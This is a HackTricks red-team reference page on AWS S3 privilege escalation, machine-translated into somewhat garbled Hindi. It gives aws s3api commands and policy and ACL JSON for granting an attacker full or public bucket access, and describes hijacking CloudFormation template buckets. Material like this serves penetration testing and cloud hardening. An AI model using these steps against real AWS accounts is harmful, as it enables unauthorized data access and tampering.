AWS - S3 Privesc

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

इन अनुमतियों के साथ एक हमलावर दिलचस्प बकेट्स पर राजीनामा देकर संसाधनों को हाइजैक कर सकता है और विशेषाधिकारों को वृद्धि दे सकता है।

उदाहरण के लिए, "cf-templates-nohnwfax6a6i-us-east-1" नामक एक क्लाउडफॉर्मेशन बकेट पर इन अनुमतियों के साथ एक हमलावर डिप्लॉयमेंट को हाइजैक कर सकता है। पहुंच निम्नलिखित नीति के साथ दी जा सकती है:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Action":[
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"],
"Resource":[
"arn:aws:s3:::cf-templates-*\/*",
"arn:aws:s3:::cf-templates-*"]
},
{
"Effect":"Allow",
"Action":"s3:ListAllMyBuckets",
"Resource":"*"
}]
}

और हाइजैक संभव है क्योंकि टेम्पलेट अपलोड किए जाने के बाद से बकेट में डिप्लॉय होने तक का एक छोटा समय विंडो होता है। एक हमलावर बस अपने खाते में एक लैम्बडा फंक्शन बना सकता है जो बकेट नोटिफिकेशन भेजने पर ट्रिगर होगा, और उस बकेट की सामग्री को हाइजैक कर सकता है।

Pacu मॉड्यूल cfn__resouce_injection का उपयोग इस हमले को स्वचालित करने के लिए किया जा सकता है। अधिक जानकारी के लिए मूल शोध देखें: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

ये अनुमतियाँ हैं S3 में ऑब्जेक्ट प्राप्त करने और अपलोड करने के लिए। AWS के अंदर (और बाहर) कई सेवाएं S3 स्टोरेज का उपयोग कॉन्फ़िग फ़ाइलें स्टोर करने के लिए करती हैं। उन्हें पढ़ने की अनुमति वाले एक हमलावर को उनमें संवेदनशील जानकारी मिल सकती है। उन्हें लिखने की अनुमति वाले एक हमलावर को डेटा में परिवर्तन करने की अनुमति हो सकती है ताकि कोई सेवा का दुरुपयोग करने की कोशिश कर सके और वर्चस्व उन्नति कर सके। ये कुछ उदाहरण हैं:

  • यदि एक EC2 इंस्टेंस S3 बकेट में उपयोगकर्ता डेटा स्टोर कर रहा है, तो एक हमलावर इसे संशोधित करके EC2 इंस्टेंस के अंदर एकाधिक कोड का क्रियान्वयन कर सकता है

s3:PutBucketPolicy

एक हमलावर, जो एक ही खाते से होना चाहिए, अगर नहीं तो त्रुटि निर्दिष्ट विधि की अनुमति नहीं दी गई है ट्रिगर होगी, इस अनुमति के साथ खुद को बकेट(ओं) पर अधिक अनुमतियाँ प्रदान कर सकेगा जिससे उसे बकेट पर पढ़ने, लिखने, संशोधन, हटाने और प्रकट करने की अधिक अनुमतियाँ मिलेंगी।

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

एक हमलावर इन अनुमतियों का दुरुपयोग कर स्पष्ट बकेट्स पर अधिक पहुंच देने के लिए कर सकता है। ध्यान दें कि हमलावर को एक ही खाते से होने की आवश्यकता नहीं है। इसके अतिरिक्त लेखन अधिकता।

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

एक हमलावर इन अनुमतियों का दुरुपयोग करके बाल्ट में विशेष वस्तुओं पर अधिक पहुंच प्रदान कर सकता है।

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

इन अधिकारों के साथ एक हमलावर को एक विशिष्ट ऑब्जेक्ट संस्करण पर एक Acl डालने में सक्षम होने की उम्मीद है।

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

Last updated